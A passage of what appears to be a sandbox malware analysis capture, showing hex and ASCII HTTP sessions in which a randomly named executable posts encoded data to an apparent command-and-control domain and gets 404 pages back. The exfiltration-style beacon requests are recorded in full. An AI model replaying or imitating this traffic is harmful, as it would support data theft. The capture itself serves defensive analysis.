                                                            Nov 29, 2024 10:20:45.469906092 CET776INData Raw: 6c 4c 72 6e 4e 59 65 62 34 56 66 41 50 71 74 6f 44 42 32 48 71 31 32 62 4b 2f 4c 74 65 61 55 57 6a 55 7a 6b 72 79 72 74 61 38 56 2f 39 53 47 45 6e 59 76 38 4f 50 51 55 42 36 49 47 69 48 68 65 66 4b 6d 2b 37 43 37 4a 78 4d 59 59 49 35 62 6c 4f 55
                                                            Data Ascii: lLrnNYeb4VfAPqtoDB2Hq12bK/LteaUWjUzkryrta8V/9SGEnYv8OPQUB6IGiHhefKm+7C7JxMYYI5blOUj66IuwFSC///2vrPv3p3SaF0hJMJFSiTc+ZO31pz0oRZVumx9iEJiLHFYlG1OdCGrRBmEUcD//99reva596W8Tz9IwRAHqHaKDWhpQBVplg/BCAyB7cDGsOuVp0Wa2K4C9uDfdiD/4bfpwGyjbtRlAVuiRQL//5yv
                                                            Nov 29, 2024 10:20:45.590029955 CET1236INData Raw: 35 73 51 4d 56 4c 4b 71 2b 4e 45 33 4b 57 66 2f 6a 78 72 2f 52 41 69 6f 6d 75 2b 74 4f 68 38 50 62 76 45 77 7a 38 4d 2f 35 65 63 53 54 45 5a 49 55 49 2f 38 34 76 73 72 31 77 43 59 45 43 66 76 2f 48 76 6b 6b 63 44 42 47 56 39 34 30 76 41 53 37 35
                                                            Data Ascii: 5sQMVLKq+NE3KWf/jxr/RAiomu+tOh8PbvEwz8M/5ecSTEZIUI/84vsr1wCYECfv/HvkkcDBGV940vAS752/fp7DyPt86B3rPuOmXM+Mjsa/6vQclsQ317HRTeT/exiy2Krk9EpzanE1dYV4coCTYMdwXngIvBd8GPwVzdvN7Pb9QWz7iT3wQWzC2bBXyGI50TCIVgIDyKD6CEmSA7EAimD1Fwa9uic/DzYC1kD2QAZhiD0cwIE


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            15192.168.2.54998263.250.43.134802164C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 10:20:46.831182003 CET1777OUTPOST /4inx/ HTTP/1.1
                                                            Host: www.oneeyetrousersnake.xyz
                                                            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                                            Accept-Language: en-us
                                                            Accept-Encoding: gzip, deflate, br
                                                            Content-Length: 1239
                                                            Cache-Control: max-age=0
                                                            Connection: close
                                                            Content-Type: application/x-www-form-urlencoded
                                                            Origin: http://www.oneeyetrousersnake.xyz
                                                            Referer: http://www.oneeyetrousersnake.xyz/4inx/
                                                            User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36
                                                            Data Raw: 4b 74 3d 68 42 37 6a 69 4c 71 44 67 78 7a 42 54 7a 53 33 6a 4c 6e 38 49 52 34 6b 70 47 77 38 75 48 77 68 6e 74 42 51 6e 5a 65 47 35 77 57 41 5a 58 76 79 63 37 37 6c 74 79 6d 57 77 51 76 6a 62 53 57 47 45 71 6d 6f 49 6b 42 6c 70 6f 53 6f 75 41 66 39 66 70 50 66 37 36 6c 6e 55 64 41 36 37 37 78 76 32 43 65 38 6d 61 37 42 47 72 68 53 32 55 59 31 4c 66 68 44 77 6c 68 2b 63 44 63 57 38 51 4b 67 4e 32 71 32 76 45 51 58 6d 50 33 75 4c 73 39 74 48 4b 64 4b 4b 4d 64 72 34 66 57 2f 4c 6e 59 58 77 36 47 30 70 49 42 37 4f 52 5a 45 69 33 59 6d 77 6f 5a 71 4b 4b 46 38 66 43 44 71 56 38 33 67 33 70 4d 46 48 51 4a 56 42 30 34 54 73 71 61 38 2f 6c 79 78 4d 67 6c 42 37 46 6e 7a 48 39 55 4d 62 61 48 66 4f 6e 75 65 42 7a 71 4e 46 78 7a 39 63 53 4a 53 79 62 42 49 78 7a 70 79 76 78 33 73 4f 39 75 4e 6f 61 64 69 63 50 57 52 42 73 2b 2b 61 70 63 7a 41 50 36 79 4e 4e 5a 57 4d 33 38 4b 49 68 53 34 56 50 36 61 34 47 2b 36 4b 32 2b 4b 4f 69 54 35 4f 31 6d 6b 45 31 36 72 7a 42 53 70 75 55 78 76 50 72 4f 44 5a 31 62 49 61 73 35 [TRUNCATED]
                                                            Data Ascii: Kt=hB7jiLqDgxzBTzS3jLn8IR4kpGw8uHwhntBQnZeG5wWAZXvyc77ltymWwQvjbSWGEqmoIkBlpoSouAf9fpPf76lnUdA677xv2Ce8ma7BGrhS2UY1LfhDwlh+cDcW8QKgN2q2vEQXmP3uLs9tHKdKKMdr4fW/LnYXw6G0pIB7ORZEi3YmwoZqKKF8fCDqV83g3pMFHQJVB04Tsqa8/lyxMglB7FnzH9UMbaHfOnueBzqNFxz9cSJSybBIxzpyvx3sO9uNoadicPWRBs++apczAP6yNNZWM38KIhS4VP6a4G+6K2+KOiT5O1mkE16rzBSpuUxvPrODZ1bIas5+lgqIz0PRpU3+fgeA+AdJ2aYyTPnXiDN2EJgzfAdLGVFtr8Xe3DbRLjY2V7bRdO86XcpUQr9RKk88Vhr1csQlv7uIPjjqRqW4csBeIXc/1X4q+m6Wal1FxNMI4LsdI5fpK2hG8ZTWSEUsXgOhud2E/Z6D0jxwG+zYt7P9UV9C0VBgtcCM1G7O4eLrBcOrvH1YQv7qPFtMuzGq9qKSDpoiJE+ghYhkIDOuDpiDyJtlIBdtqszDh542CcV6tBq8YyLnVX4KmUtPIpa4Xf+JgyIk412R3ZEn+Dnu/hURatt/ssq1bXP4P2DLAOUeV2elL1/CAh2gIBUF+TdSIErItIIvZLejc+VFxPE8AXue1OeJEiQIFxfEjjcQqAwx9GGrj6Eq6KSm+fpp6fQpOktzZkMXmFjmDx/7kHxbVGl0FyaOAMqvKomkesbJXCzbsq05cm5ZeH0tJjKRG1m2FE91ygeSVl9m/cOhCHOqizdAgKc7lCVExztRmC/aseVttTp0pe/FJ1C96G906D+iciJLDdpuoAcDbqLjgPYJUkxELzs2phUpacNiVxvsnZFEn+/Phg5dv0wHUT/LCc0mOs94s2EX90NTSOs0/m+7eMtfxr2sVAQEE9kDAMohSOOsTJtoXZr/0LTKpkLMlC3W4Cjtr8NQeyHRR7YzJp9SJ [TRUNCATED]
                                                            Nov 29, 2024 10:20:48.185885906 CET1236INHTTP/1.1 404 Not Found
                                                            content-type: text/html
                                                            date: Fri, 29 Nov 2024 09:20:47 GMT
                                                            transfer-encoding: chunked
                                                            connection: close
                                                            Data Raw: 33 31 45 41 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 69 65 3d 65 64 67 65 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 57 65 62 73 69 74 65 20 6e 6f 74 20 66 6f 75 6e 64 e2 80 a6 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 [TRUNCATED]
                                                            Data Ascii: 31EA<!doctype html><html class="no-js" lang=""><head> <meta charset="utf-8"> <meta http-equiv="x-ua-compatible" content="ie=edge"> <title>Website not found</title> <meta name="description" content=""> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <link rel="icon" type="image/png" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAYAAACqaXHeAAAAAXNSR0IArs4c6QAACHhJREFUeAHdW2lsHEUWrqqZsT3j2FmbHBxBXsyGsAsCCRIRgjicA2JHRAtEQtHCj2i1ihASgnCEOFnEj9jhNAgpIC7xA6RoEYeIiB0WEgdLiYSSrATi2JBsIBAMPmIndjzjeDxV+73xtNUz7unpqukZj+gfrup6r973va+rq2q625wV+Ljw0KuRod5Ti5RSSxRnixRjczhjNYCtUUxRyTjjgygGYRuErZcrdpBzfqB6znkHuxeuj5JPoQ7g+X9ce+jV0H/7BtZIJe9nTF3HFAsaoXA2Dnm+EFxsv3x27XuHF66PG8Vx6eSrAH/sfKuiL9r9EK7k/bi6F7ngapswSn4B2e0X8Kq2Y00PnNMOkKWDbwJUdTy9ICHj/0LyV2fB8qUZhL8MiNDdw40bj/gRUPgRpLJ929/G1fjhQidPXAmDsAjTD+55j4BIR+tqJeWHIOOLmBpJSS7EHdHG5p0afaa45iVAZUfLVVKp/bgsM6ZELkYDZ2cF5zeMNG7+yhTO+KrNO9AWllLtnLbkKWMITxyIS9EFOHU6uh6gdabAPvarS3ExCml0C [TRUNCATED]
                                                            Nov 29, 2024 10:20:48.185913086 CET1236INData Raw: 62 69 4a 59 56 4e 52 6a 38 36 63 53 4a 75 75 6a 32 31 42 66 6a 70 35 32 50 58 41 53 53 69 43 31 51 45 2f 30 69 4b 6d 78 61 55 74 67 41 4a 79 57 37 55 51 69 69 69 73 77 6b 33 62 51 47 51 54 30 6e 4d 2f 46 6c 30 31 65 61 6d 4c 59 42 53 38 72 77 73
                                                            Data Ascii: biJYVNRj86cSJuuj21Bfjp52PXASSiC1QE/0iKmxaUtgAJyW7UQiiiswk3bQGQT0nM/Fl01eamLYBS8rws4NPebMJNWwCsubOmPdMsBEy4aQsA7JIdASbcTARIZLkApdCszU1fAMV6SyFTRw4G3PQFYKzPEbw0GrW5aQuAHZc2SLG0MeGmLQAeQJTsLWDCTVsAxaQvDyMLMSpMuGkLUB4KduFZvfZsW4iE02PyxAS39NZcZ9oCD
                                                            Nov 29, 2024 10:20:48.185923100 CET1236INData Raw: 6a 47 59 32 67 4d 49 39 55 4c 67 58 34 57 67 75 31 44 75 55 63 79 39 51 6f 45 75 4d 76 71 36 31 70 79 48 67 2b 4a 38 50 6e 6b 45 35 66 52 48 73 54 31 39 44 38 46 45 4f 42 39 77 66 68 39 53 47 7a 5a 42 43 64 31 4d 61 37 6a 48 4b 56 59 4c 5a 49 5a
                                                            Data Ascii: jGY2gMI9ULgX4Wgu1DuUcy9QoEuMvq61pyHg+J8PnkE5fRHsT19D8FEOB9wfh9SGzZBCd1Ma7jHKVYLZIZAsc+xDpOnLDj7xxZvrnHjUdOAdw6220zP9tWP3YucRRtabeV3Setztm+WNOWBmoLt2/tBOlb0uzZT2RZeWD+meWbaPOW9+GNrAeY+JjcDDfP8fAYe5cVFu/02q26h1KksDy45nbxTNgtVHK+YGydm0+mjYcCkwLwY
                                                            Nov 29, 2024 10:20:48.185986042 CET1236INData Raw: 46 6e 45 6a 39 6a 68 4e 41 67 70 49 43 37 78 41 36 52 6f 45 59 65 49 69 42 30 57 45 67 64 4c 69 59 53 53 72 41 54 69 32 4a 42 73 49 42 41 4d 50 6d 49 6e 64 6a 7a 6a 65 44 78 56 2b 37 33 78 74 4e 55 7a 37 75 6e 70 71 75 6b 5a 6a 2b 67 66 72 75 70
                                                            Data Ascii: FnEj9jhNAgpIC7xA6RoEYeIiB0WEgdLiYSSrATi2JBsIBAMPmIndjzjeDxV+73xtNUz7unpqukZj+gfrup6r973va+rq2q625wV+Ljw0KuRod5Ti5RSSxRnixRjczhjNYCtUUxRyTjjgygGYRuErZcrdpBzfqB6znkHuxeuj5JPoQ7g+X9ce+jV0H/7BtZIJe9nTF3HFAsaoXA2Dnm+EFxsv3x27XuHF66PG8Vx6eSrAH/sfKui
                                                            Nov 29, 2024 10:20:48.186002016 CET1236INData Raw: 65 35 43 68 47 52 56 68 6f 45 57 2b 52 6c 51 71 7a 4f 79 75 2b 57 61 4b 62 61 4d 68 71 70 64 72 5a 66 42 2f 37 57 4d 35 73 4b 66 41 6a 4f 4a 6e 51 4f 4a 63 71 42 63 4b 4b 64 4d 56 38 71 64 30 2f 75 30 34 79 65 4f 6a 6d 4c 73 4f 36 77 49 66 4a 67
                                                            Data Ascii: e5ChGRVhoEW+RlQqzOyu+WaKbaMhqpdrZfB/7WM5sKfAjOJnQOJcqBcKKdMV8qd0/u04yeOjmLsO6wIfJgL9nx5MPBi5i8t+ihh4HRsLYK2AWBmZvBinGMLTL/+NtT+Ibzj5JINMTtmzadPzTw3nnhQSfYwrujUi8y5qq+bX5FMGkvZcXS+xB4grY5PUfCZ2tf49O1/6DCuGJ+HcuF0JZ7GDSckBH4NHuJMnUQZBNdLwfVKp6tu
                                                            Nov 29, 2024 10:20:48.186012983 CET1236INData Raw: 4e 62 68 35 63 32 6e 63 73 55 6a 48 2f 4b 6c 50 72 6c 38 50 64 6d 56 64 4d 33 42 56 51 41 59 39 2b 4e 35 45 79 62 63 76 49 36 6a 32 4c 71 75 4f 4e 32 34 36 55 65 76 55 63 69 58 2b 67 44 37 6d 4e 63 2b 6a 6e 37 67 4c 69 51 2f 34 47 68 4c 4e 62 6f
                                                            Data Ascii: Nbh5c2ncsUjH/KlPrl8PdmVdM3BVQAY9+N5EybcvI6j2LquON246UevUciX+gD7mNc+jn7gLiQ/4GhLNboKMLyq+Xuh2ItuAXLYdlTODF1LD1xy+E0xU5/K6uA1MOyYYvTYQNwpBzf3nKsAljle2dHajBkfW13l6d/TMHw/wWzfeva2x7vcwL3aZnzy1E1YHcBB3eatD49hZWgZaWxuBRfXEZxTAAuwsvOZ8+VofC1XaimeCl8J
                                                            Nov 29, 2024 10:20:48.186024904 CET1236INData Raw: 41 37 33 5a 4a 41 50 2f 32 53 50 45 50 39 6b 6a 78 44 2f 5a 49 38 51 2f 32 53 50 45 50 39 6b 6a 78 44 2f 5a 5a 45 4f 2b 57 4b 4b 44 54 6b 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 42 69 6a 67 39
                                                            Data Ascii: A73ZJAP/2SPEP9kjxD/ZI8Q/2SPEP9kjxD/ZZEO+WKKDTkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABijg90aJUQ/2SPEP9kjxD/ZI8Q/2SPEP9kjxD/ZI8Q/2iVEP9ikAh6AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZJELmGiVEP9kjxD/ZI8Q/2SPEP9kjxD/ZI8Q/2SPEP9nlBH/Y5EOnwAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                            Nov 29, 2024 10:20:48.186141968 CET1236INData Raw: 69 4d 4d 77 54 30 4c 33 43 52 2f 53 50 36 46 44 65 79 4b 4b 6d 61 79 47 47 33 6d 66 31 6b 6a 63 6b 59 67 56 36 6c 39 63 75 30 65 71 50 50 55 51 61 5a 4e 33 48 42 74 66 52 51 35 6c 46 43 2f 32 58 63 53 75 44 2f 77 6f 48 71 67 47 58 36 67 71 56 56
                                                            Data Ascii: iMMwT0L3CR/SP6FDeyKKmayGG3mf1kjckYgV6l9cu0eqPPUQaZN3HBtfRQ5lFC/2XcSuD/woHqgGX6gqVVq1MXPqjVdyX5G9MMu0BDTEk8QnTSHu80fpFMM7xulyXPi5UhtRRQzGOrg0cdmkrPaXqS6dz3qHyuv1C5VR6jzApauYMfw9EUUS2k/LdHwD9mAf+FZcQuU/slhoN/xvxGBQudlmKhWbkQR/9d1OloYBg+YDW++fXPt
                                                            Nov 29, 2024 10:20:48.186151981 CET1236INData Raw: 66 67 72 6a 2f 33 2f 6c 66 48 2f 76 66 63 36 35 39 31 59 6a 51 46 43 6c 6f 70 47 51 5a 58 41 58 4f 33 6d 38 39 42 32 34 30 6a 67 54 4c 30 5a 36 55 6f 4a 6c 5a 64 62 39 50 32 61 43 52 34 46 73 54 70 37 6e 54 55 61 39 4c 61 79 6d 53 70 39 4e 76 42
                                                            Data Ascii: fgrj/3/lfH/vfc6591YjQFClopGQZXAXO3m89B240jgTL0Z6UoJlZdb9P2aCR4FsTp7nTUa9LaymSp9NvB6DR1R94yNBgEWSVV3aT2Kn+mobNmkZ7v/3Vcv2P3yAhDQza2E0exScxD1HPuJGybElIDoF7eaicUrVx33v/Yf/Hz4A/g9CJD5JUYQSwQkkIGpEUDsD4H9AHwClJSntrNLmJKfdTBJDzYw0Wq+Gmk0hyiGmonPlWhq
                                                            Nov 29, 2024 10:20:48.186162949 CET556INData Raw: 2f 52 41 69 6f 6d 75 2b 74 4f 68 38 50 62 76 45 77 7a 38 4d 2f 35 65 63 53 54 45 5a 49 55 49 2f 38 34 76 73 72 31 77 43 59 45 43 66 76 2f 48 76 6b 6b 63 44 42 47 56 39 34 30 76 41 53 37 35 32 2f 66 70 37 44 79 50 74 38 36 42 33 72 50 75 4f 6d 58
                                                            Data Ascii: /RAiomu+tOh8PbvEwz8M/5ecSTEZIUI/84vsr1wCYECfv/HvkkcDBGV940vAS752/fp7DyPt86B3rPuOmXM+Mjsa/6vQclsQ317HRTeT/exiy2Krk9EpzanE1dYV4coCTYMdwXngIvBd8GPwVzdvN7Pb9QWz7iT3wQWzC2bBXyGI50TCIVgIDyKD6CEmSA7EAimD1Fwa9uic/DzYC1kD2QAZhiD0cwIEswnQ9pDvqQBoxbPKfRe
                                                            Nov 29, 2024 10:20:48.306025028 CET1236INData Raw: 43 45 56 69 79 63 66 36 64 35 43 39 57 46 4e 59 42 5a 49 42 69 6f 45 66 2f 57 74 73 6a 33 6c 78 69 38 4c 7a 45 78 52 56 52 61 33 55 52 2b 4b 70 76 70 73 55 41 66 55 59 6d 43 61 34 50 6e 61 41 72 4a 6d 44 71 49 62 69 46 49 35 49 4a 30 2b 58 64 4a
                                                            Data Ascii: CEViycf6d5C9WFNYBZIBioEf/Wtsj3lxi8LzExRVRa3UR+KpvpsUAfUYmCa4PnaArJmDqIbiFI5IJ0+XdJdeDJfgU/pwD0fC/usmPrdHvBMSkZKRU9RBz9KLGBiZmFlYk43HzsHJNfyii/WjFFjwKLzw8QuY6i+pWRZZSauCQiWSJ4aElLSMrJy8gvW0GbNt1/4HOtDdn8iFYA071Q9l4oUAQ6QM3qx5pGISPFad2G+YJDuV0os


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            16192.168.2.54998963.250.43.134802164C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 10:20:49.481267929 CET459OUTGET /4inx/?Kt=sDTDh7fj6DzxR2Wt/KnZITMsl1NDzh93mdcFmOqtwCn9BmKSWf/wgC602TCPPwOOK5vOeFVgg5fJiwzQWOnTkok9LdIhxJNn3AefkK/GSNEWxCYPXPZu+RIfbk4D4WetZQ==&ej=DjJHGh2p HTTP/1.1
                                                            Host: www.oneeyetrousersnake.xyz
                                                            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                                            Accept-Language: en-us
                                                            Connection: close
                                                            User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36
                                                            Nov 29, 2024 10:20:50.736955881 CET1236INHTTP/1.1 404 Not Found
                                                            content-type: text/html
                                                            date: Fri, 29 Nov 2024 09:20:50 GMT
                                                            transfer-encoding: chunked
                                                            connection: close
                                                            Data Raw: 46 46 41 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 69 65 3d 65 64 67 65 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 57 65 62 73 69 74 65 20 6e 6f 74 20 66 6f 75 6e 64 e2 80 a6 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 [TRUNCATED]
                                                            Data Ascii: FFA<!doctype html><html class="no-js" lang=""><head> <meta charset="utf-8"> <meta http-equiv="x-ua-compatible" content="ie=edge"> <title>Website not found</title> <meta name="description" content=""> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <link rel="icon" type="image/png" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAYAAACqaXHeAAAAAXNSR0IArs4c6QAACHhJREFUeAHdW2lsHEUWrqqZsT3j2FmbHBxBXsyGsAsCCRIRgjicA2JHRAtEQtHCj2i1ihASgnCEOFnEj9jhNAgpIC7xA6RoEYeIiB0WEgdLiYSSrATi2JBsIBAMPmIndjzjeDxV+73xtNUz7unpqukZj+gfrup6r973va+rq2q625wV+Ljw0KuRod5Ti5RSSxRnixRjczhjNYCtUUxRyTjjgygGYRuErZcrdpBzfqB6znkHuxeuj5JPoQ7g+X9ce+jV0H/7BtZIJe9nTF3HFAsaoXA2Dnm+EFxsv3x27XuHF66PG8Vx6eSrAH/sfKuiL9r9EK7k/bi6F7ngapswSn4B2e0X8Kq2Y00PnNMOkKWDbwJUdTy9ICHj/0LyV2fB8qUZhL8MiNDdw40bj/gRUPgRpLJ929/G1fjhQidPXAmDsAjTD+55j4BIR+tqJeWHIOOLmBpJSS7EHdHG5p0afaa45iVAZUfLVVKp/bgsM6ZELkYDZ2cF5zeMNG7+yhTO+KrNO9AWllLtnLbkKWMITxyIS9EFOHU6uh6gdabAPvarS3ExCml0C9 [TRUNCATED]
                                                            Nov 29, 2024 10:20:50.737000942 CET1236INData Raw: 69 4a 59 56 4e 52 6a 38 36 63 53 4a 75 75 6a 32 31 42 66 6a 70 35 32 50 58 41 53 53 69 43 31 51 45 2f 30 69 4b 6d 78 61 55 74 67 41 4a 79 57 37 55 51 69 69 69 73 77 6b 33 62 51 47 51 54 30 6e 4d 2f 46 6c 30 31 65 61 6d 4c 59 42 53 38 72 77 73 34
                                                            Data Ascii: iJYVNRj86cSJuuj21Bfjp52PXASSiC1QE/0iKmxaUtgAJyW7UQiiiswk3bQGQT0nM/Fl01eamLYBS8rws4NPebMJNWwCsubOmPdMsBEy4aQsA7JIdASbcTARIZLkApdCszU1fAMV6SyFTRw4G3PQFYKzPEbw0GrW5aQuAHZc2SLG0MeGmLQAeQJTsLWDCTVsAxaQvDyMLMSpMuGkLUB4KduFZvfZsW4iE02PyxAS39NZcZ9oCDK
                                                            Nov 29, 2024 10:20:50.737014055 CET1236INData Raw: 47 59 32 67 4d 49 39 55 4c 67 58 34 57 67 75 31 44 75 55 63 79 39 51 6f 45 75 4d 76 71 36 31 70 79 48 67 2b 4a 38 50 6e 6b 45 35 66 52 48 73 54 31 39 44 38 46 45 4f 42 39 77 66 68 39 53 47 7a 5a 42 43 64 31 4d 61 37 6a 48 4b 56 59 4c 5a 49 5a 41
                                                            Data Ascii: GY2gMI9ULgX4Wgu1DuUcy9QoEuMvq61pyHg+J8PnkE5fRHsT19D8FEOB9wfh9SGzZBCd1Ma7jHKVYLZIZAsc+xDpOnLDj7xxZvrnHjUdOAdw6220zP9tWP3YucRRtabeV3Setztm+WNOWBmoLt2/tBOlb0uzZT2RZeWD+meWbaPOW9+GNrAeY+JjcDDfP8fAYe5cVFu/02q26h1KksDy45nbxTNgtVHK+YGydm0+mjYcCkwLwYF
                                                            Nov 29, 2024 10:20:50.737112999 CET1236INData Raw: 6e 45 6a 39 6a 68 4e 41 67 70 49 43 37 78 41 36 52 6f 45 59 65 49 69 42 30 57 45 67 64 4c 69 59 53 53 72 41 54 69 32 4a 42 73 49 42 41 4d 50 6d 49 6e 64 6a 7a 6a 65 44 78 56 2b 37 33 78 74 4e 55 7a 37 75 6e 70 71 75 6b 5a 6a 2b 67 66 72 75 70 36
                                                            Data Ascii: nEj9jhNAgpIC7xA6RoEYeIiB0WEgdLiYSSrATi2JBsIBAMPmIndjzjeDxV+73xtNUz7unpqukZj+gfrup6r973va+rq2q625wV+Ljw0KuRod5Ti5RSSxRnixRjczhjNYCtUUxRyTjjgygGYRuErZcrdpBzfqB6znkHuxeuj5JPoQ7g+X9ce+jV0H/7BtZIJe9nTF3HFAsaoXA2Dnm+EFxsv3x27XuHF66PG8Vx6eSrAH/sfKuiL
                                                            Nov 29, 2024 10:20:50.737123966 CET1236INData Raw: 49 35 5a 65 44 58 55 65 35 43 68 47 52 56 68 6f 45 57 2b 52 6c 51 71 7a 4f 79 75 2b 57 61 4b 62 61 4d 68 71 70 64 72 5a 66 42 2f 37 57 4d 35 73 4b 66 41 6a 4f 4a 6e 51 4f 4a 63 71 42 63 4b 4b 64 4d 56 38 71 64 30 2f 75 30 34 79 65 4f 6a 6d 4c 73
                                                            Data Ascii: I5ZeDXUe5ChGRVhoEW+RlQqzOyu+WaKbaMhqpdrZfB/7WM5sKfAjOJnQOJcqBcKKdMV8qd0/u04yeOjmLsO6wIfJgL9nx5MPBi5i8t+ihh4HRsLYK2AWBmZvBinGMLTL/+NtT+Ibzj5JINMTtmzadPzTw3nnhQSfYwrujUi8y5qq+bX5FMGkvZcXS+xB4grY5PUfCZ2tf49O1/6DCuGJ+HcuF0JZ7GDSckBH4NHuJMnUQZBNdLw
                                                            Nov 29, 2024 10:20:50.737138033 CET1236INData Raw: 68 50 75 38 74 46 34 4e 62 68 35 63 32 6e 63 73 55 6a 48 2f 4b 6c 50 72 6c 38 50 64 6d 56 64 4d 33 42 56 51 41 59 39 2b 4e 35 45 79 62 63 76 49 36 6a 32 4c 71 75 4f 4e 32 34 36 55 65 76 55 63 69 58 2b 67 44 37 6d 4e 63 2b 6a 6e 37 67 4c 69 51 2f
                                                            Data Ascii: hPu8tF4Nbh5c2ncsUjH/KlPrl8PdmVdM3BVQAY9+N5EybcvI6j2LquON246UevUciX+gD7mNc+jn7gLiQ/4GhLNboKMLyq+Xuh2ItuAXLYdlTODF1LD1xy+E0xU5/K6uA1MOyYYvTYQNwpBzf3nKsAljle2dHajBkfW13l6d/TMHw/wWzfeva2x7vcwL3aZnzy1E1YHcBB3eatD49hZWgZaWxuBRfXEZxTAAuwsvOZ8+VofC1Xa
                                                            Nov 29, 2024 10:20:50.737150908 CET776INData Raw: 32 4f 42 44 52 6b 6b 41 37 33 5a 4a 41 50 2f 32 53 50 45 50 39 6b 6a 78 44 2f 5a 49 38 51 2f 32 53 50 45 50 39 6b 6a 78 44 2f 5a 5a 45 4f 2b 57 4b 4b 44 54 6b 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
                                                            Data Ascii: 2OBDRkkA73ZJAP/2SPEP9kjxD/ZI8Q/2SPEP9kjxD/ZZEO+WKKDTkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABijg90aJUQ/2SPEP9kjxD/ZI8Q/2SPEP9kjxD/ZI8Q/2iVEP9ikAh6AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZJELmGiVEP9kjxD/ZI8Q/2SPEP9kjxD/ZI8Q/2SPEP9nlBH/Y5EOnwAAAAAAAAAAAAAAAAAAA
                                                            Nov 29, 2024 10:20:50.737163067 CET1236INData Raw: 20 20 20 20 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 49 6e 74 65 6c 6f 4c 6f 63 61 6c 27 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 72 63 3a 20 75 72 6c 28 64 61 74 61
                                                            Data Ascii: @font-face { font-family: 'InteloLocal'; src: url(data:application/font-woff2;charset=utf-8;base64,d09GMgABAAAAALDAABIAAAACOFwAALBWAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP0ZGVE0cGoEqG4LpJByweAZgAIcGCIEYCZoWEQgKhO1IhJwbC4dk
